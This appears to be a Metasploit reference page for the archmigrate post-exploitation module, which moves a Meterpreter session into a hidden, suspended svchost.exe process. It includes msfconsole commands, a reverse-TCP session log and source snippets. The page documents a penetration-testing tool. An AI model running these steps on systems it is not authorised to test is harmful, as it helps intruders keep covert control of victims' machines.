Architecture Migrate - Metasploit
This page contains detailed information about how to use the post/windows/manage/archmigrate metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: Architecture Migrate
Module: post/windows/manage/archmigrate
Source code: modules/post/windows/manage/archmigrate.rb
Disclosure date: -
Last modification time: 2021-10-06 13:43:31 +0000
Supported architecture(s): x86, x64
Supported platform(s): Windows
Target service / protocol: -
Target network port(s): -
List of CVEs: -
This module checks if the meterpreter architecture is the same as the OS architecture and if it's incompatible it spawns a new process with the correct architecture and migrates into that process.
Module Ranking and Traits
Module Ranking:
- normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.
Basic Usage
There are two ways to execute this post module.
From the Meterpreter prompt
The first is by using the "run" command at the Meterpreter prompt. It allows you to run the post module against that specific session:
meterpreter > run post/windows/manage/archmigrate
From the msf prompt
The second is by using the "use" command at the msf prompt. You will have to figure out which session ID to set manually. To list all session IDs, you can use the "sessions" command.
msf > use post/windows/manage/archmigrate
msf post(archmigrate) > show options
... show and set options ...
msf post(archmigrate) > set SESSION session-id
msf post(archmigrate) > exploit
If you wish to run the post against all sessions from framework, here is how:
1 - Create the following resource script:
framework.sessions.each_pair do |sid, session|
run_single("use post/windows/manage/archmigrate")
run_single("set SESSION #{sid}")
run_single("run")
end
2 - At the msf prompt, execute the above resource script:
msf > resource path-to-resource-script
Required Options
- SESSION: The session to run this module on.
Knowledge Base
Creating A Testing Environment
To use this module you need an x86 executable type meterpreter on a x64 windows machine.
This module has been tested against:
- Windows 10.
- Windows 7.
- Windows Server 2008R2
This module was not tested against, but may work against:
- Other versions of Windows that are x64.
Options
EXE
The executable to start and migrate into. Default: C:\windows\sysnative\svchost.exe
FALLBACK
If the selected migration executable does not exist, fallback to a sysnative file. Default: true
IGNORE_SYSTEM
Migrate even if you have SYSTEM privileges. Default: true
Verification Steps
- Start msfconsole
- Obtain a meterpreter session with an executable meterpreter via whatever method
- Do:
use post/windows/manage/archmigrate
- Do:
set session #
- Do:
run
Scenarios
Windows 10 x64
msf exploit(handler) > run
[*] Started reverse TCP handler on :4567
[*] Starting the payload handler...
[*] Sending stage (957487 bytes) to
[*] Meterpreter session 1 opened (:4567 -> :50917) at 2017-03-22 11:43:42 -0500
meterpreter > sysinfo
Computer : DESKTOP-SO4MCA3
OS : Windows 10 (Build 14393).
Architecture : x64
System Language : en_US
Domain : WORKGROUP
Logged On Users : 2
Meterpreter : x86/windows
meterpreter > background
[*] Backgrounding session 1...
msf exploit(handler) > use post/windows/manage/archmigrate
msf post(archmigrate) > set session 1
session => 1
msf post(archmigrate) > run
[*] The meterpreter is not the same architecture as the OS! Upgrading!
[*] Starting new x64 process C:\windows\sysnative\svchost.exe
[+] Got pid 1772
[*] Migrating..
[+] Success!
[*] Post module execution completed
msf post(archmigrate) > sessions -l
Active sessions
===============
Id Type Information Connection
-- ---- ----------- ----------
1 meterpreter x64/windows DESKTOP-SO4MCA3\tmoose @ DESKTOP-SO4MCA3 :4567 -> :50917 ()
msf post(archmigrate) > sessions -i 1
[*] Starting interaction with 1...
meterpreter > sysinfo
Computer : DESKTOP-SO4MCA3
OS : Windows 10 (Build 14393).
Architecture : x64
System Language : en_US
Domain : WORKGROUP
Logged On Users : 2
Meterpreter : x64/windows
Go back to menu.
Msfconsole Usage
Here is how the windows/manage/archmigrate post exploitation module looks in the msfconsole:
msf6 > use post/windows/manage/archmigrate
msf6 post(windows/manage/archmigrate) > show info
Name: Architecture Migrate
Module: post/windows/manage/archmigrate
Platform: Windows
Arch: x86, x64
Rank: Normal
Provided by:
Koen Riepe (koen.riepe <Koen Riepe ([email protected])>
Compatible session types:
Meterpreter
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
EXE C:\windows\sysnative\svchost.exe yes The executable to start and migrate into
FALLBACK true yes If the selected migration executable does not exist fallback to a sysnative file
IGNORE_SYSTEM false yes Migrate even if you have SYSTEM privileges
SESSION yes The session to run this module on.
Description:
This module checks if the meterpreter architecture is the same as
the OS architecture and if it's incompatible it spawns a new process
with the correct architecture and migrates into that process.
Module Options
This is a complete list of options available in the windows/manage/archmigrate post exploitation module:
msf6 post(windows/manage/archmigrate) > show options
Module options (post/windows/manage/archmigrate):
Name Current Setting Required Description
---- --------------- -------- -----------
EXE C:\windows\sysnative\svchost.exe yes The executable to start and migrate into
FALLBACK true yes If the selected migration executable does not exist fallback to a sysnative file
IGNORE_SYSTEM false yes Migrate even if you have SYSTEM privileges
SESSION yes The session to run this module on.
Advanced Options
Here is a complete list of advanced options supported by the windows/manage/archmigrate post exploitation module:
msf6 post(windows/manage/archmigrate) > show advanced
Module advanced options (post/windows/manage/archmigrate):
Name Current Setting Required Description
---- --------------- -------- -----------
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Post Actions
This is a list of all post exploitation actions which the windows/manage/archmigrate module can do:
msf6 post(windows/manage/archmigrate) > show actions
Post actions:
Name Description
---- -----------
Evasion Options
Here is the full list of possible evasion options supported by the windows/manage/archmigrate post exploitation module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 post(windows/manage/archmigrate) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
Go back to menu.
Error Messages
This module may fail with the following error messages:
- Railgun not available, this module only works for binary meterpreters.
- The meterpreter is not the same architecture as the OS! Upgrading!
- Migration failed!
- The selected executable to migrate into does not exist
- Migration failed!
- You are running as SYSTEM! Aborting migration.
- You are running as SYSTEM! You will lose your privileges!
- You're not running as SYSTEM. Moving on...
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
Railgun not available, this module only works for binary meterpreters.
Here is a relevant code snippet related to the "Railgun not available, this module only works for binary meterpreters." error message:
46: else
47: migrate = true
48: end
49: return migrate
50: rescue
51: print_error('Railgun not available, this module only works for binary meterpreters.')
52: end
53: end
54:
55: def get_windows_loc
56: apicall = session.railgun.kernel32.GetEnvironmentVariableA("Windir", 255, 255)["lpBuffer"]
The meterpreter is not the same architecture as the OS! Upgrading!
Here is a relevant code snippet related to the "The meterpreter is not the same architecture as the OS! Upgrading!" error message:
58: return windir
59: end
60:
61: def do_migrate
62: if check_32_on_64
63: print_status('The meterpreter is not the same architecture as the OS! Upgrading!')
64: newproc = datastore['EXE']
65: if exist?(newproc)
66: print_status("Starting new x64 process #{newproc}")
67: pid = session.sys.process.execute(newproc, nil, { 'Hidden' => true, 'Suspended' => true }).pid
68: print_good("Got pid #{pid}")
Migration failed!
Here is a relevant code snippet related to the "Migration failed!" error message:
69: print_status('Migrating..')
70: session.core.migrate(pid)
71: if pid == session.sys.process.getpid
72: print_good('Success!')
73: else
74: print_error('Migration failed!')
75: end
76: else
77: print_error('The selected executable to migrate into does not exist')
78: if datastore['FALLBACK']
79: windir = get_windows_loc
The selected executable to migrate into does not exist
Here is a relevant code snippet related to the "The selected executable to migrate into does not exist" error message:
72: print_good('Success!')
73: else
74: print_error('Migration failed!')
75: end
76: else
77: print_error('The selected executable to migrate into does not exist')
78: if datastore['FALLBACK']
79: windir = get_windows_loc
80: newproc = "#{windir}:\\windows\\sysnative\\svchost.exe"
81: if exist?(newproc)
82: print_status("Starting new x64 process #{newproc}")
Migration failed!
Here is a relevant code snippet related to the "Migration failed!" error message:
85: print_status('Migrating..')
86: session.core.migrate(pid)
87: if pid == session.sys.process.getpid
88: print_good('Success!')
89: else
90: print_error('Migration failed!')
91: end
92: end
93: end
94: end
95: else
You are running as SYSTEM! Aborting migration.
Here is a relevant code snippet related to the "You are running as SYSTEM! Aborting migration." error message:
99:
100: def run
101: if datastore['IGNORE_SYSTEM']
102: do_migrate
103: elsif !datastore['IGNORE_SYSTEM'] && is_system?
104: print_error('You are running as SYSTEM! Aborting migration.')
105: elsif datastore['IGNORE_SYSTEM'] && is_system?
106: print_error('You are running as SYSTEM! You will lose your privileges!')
107: do_migrate
108: elsif !datastore['IGNORE_SYSTEM'] && !is_system?
109: print_status('You\'re not running as SYSTEM. Moving on...')
You are running as SYSTEM! You will lose your privileges!
Here is a relevant code snippet related to the "You are running as SYSTEM! You will lose your privileges!" error message:
101: if datastore['IGNORE_SYSTEM']
102: do_migrate
103: elsif !datastore['IGNORE_SYSTEM'] && is_system?
104: print_error('You are running as SYSTEM! Aborting migration.')
105: elsif datastore['IGNORE_SYSTEM'] && is_system?
106: print_error('You are running as SYSTEM! You will lose your privileges!')
107: do_migrate
108: elsif !datastore['IGNORE_SYSTEM'] && !is_system?
109: print_status('You\'re not running as SYSTEM. Moving on...')
110: do_migrate
111: end
You're not running as SYSTEM. Moving on...
Here is a relevant code snippet related to the "You're not running as SYSTEM. Moving on..." error message:
103: elsif !datastore['IGNORE_SYSTEM'] && is_system?
104: print_error('You are running as SYSTEM! Aborting migration.')
105: elsif datastore['IGNORE_SYSTEM'] && is_system?
106: print_error('You are running as SYSTEM! You will lose your privileges!')
107: do_migrate
108: elsif !datastore['IGNORE_SYSTEM'] && !is_system?
109: print_status('You\'re not running as SYSTEM. Moving on...')
110: do_migrate
111: end
112: end
113: end
Go back to menu.
Related Pull Requests
- #8716 Merged Pull Request: Print_Status -> Print_Good (And OCD bits 'n bobs)
- #8378 Merged Pull Request: Add privilege check to archmigrate
- #8338 Merged Pull Request: Fix msf/core and self.class msftidy warnings
- #8008 Merged Pull Request: Added archmigrate module to metasploit.
Go back to menu.
See Also
Check also the following modules related to this module:
- post/windows/manage/add_user
- post/windows/manage/change_password
- post/windows/manage/clone_proxy_settings
- post/windows/manage/delete_user
- post/windows/manage/dell_memory_protect
- post/windows/manage/download_exec
- post/windows/manage/driver_loader
- post/windows/manage/enable_rdp
- post/windows/manage/enable_support_account
- post/windows/manage/exec_powershell
- post/windows/manage/execute_dotnet_assembly
- post/windows/manage/forward_pageant
- post/windows/manage/hashcarve
- post/windows/manage/ie_proxypac
- post/windows/manage/inject_ca
- post/windows/manage/inject_host
- post/windows/manage/install_python
- post/windows/manage/install_ssh
- post/windows/manage/killav
- post/windows/manage/migrate
- post/windows/manage/mssql_local_auth_bypass
- post/windows/manage/multi_meterpreter_inject
- post/windows/manage/nbd_server
- post/windows/manage/peinjector
- post/windows/manage/persistence_exe
- post/windows/manage/portproxy
- post/windows/manage/pptp_tunnel
- post/windows/manage/priv_migrate
- post/windows/manage/pxeexploit
- post/windows/manage/reflective_dll_inject
- post/windows/manage/remove_ca
- post/windows/manage/remove_host
- post/windows/manage/rid_hijack
- post/windows/manage/rollback_defender_signatures
- post/windows/manage/rpcapd_start
- post/windows/manage/run_as
- post/windows/manage/run_as_psh
- post/windows/manage/sdel
- post/windows/manage/shellcode_inject
- post/windows/manage/sshkey_persistence
- post/windows/manage/sticky_keys
- post/windows/manage/vmdk_mount
- post/windows/manage/vss
- post/windows/manage/vss_create
- post/windows/manage/vss_list
- post/windows/manage/vss_mount
- post/windows/manage/vss_set_storage
- post/windows/manage/vss_storage
- post/windows/manage/wdigest_caching
- post/windows/manage/webcam
Authors
- Koen Riepe ([email protected])
Version
This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.
Go back to menu.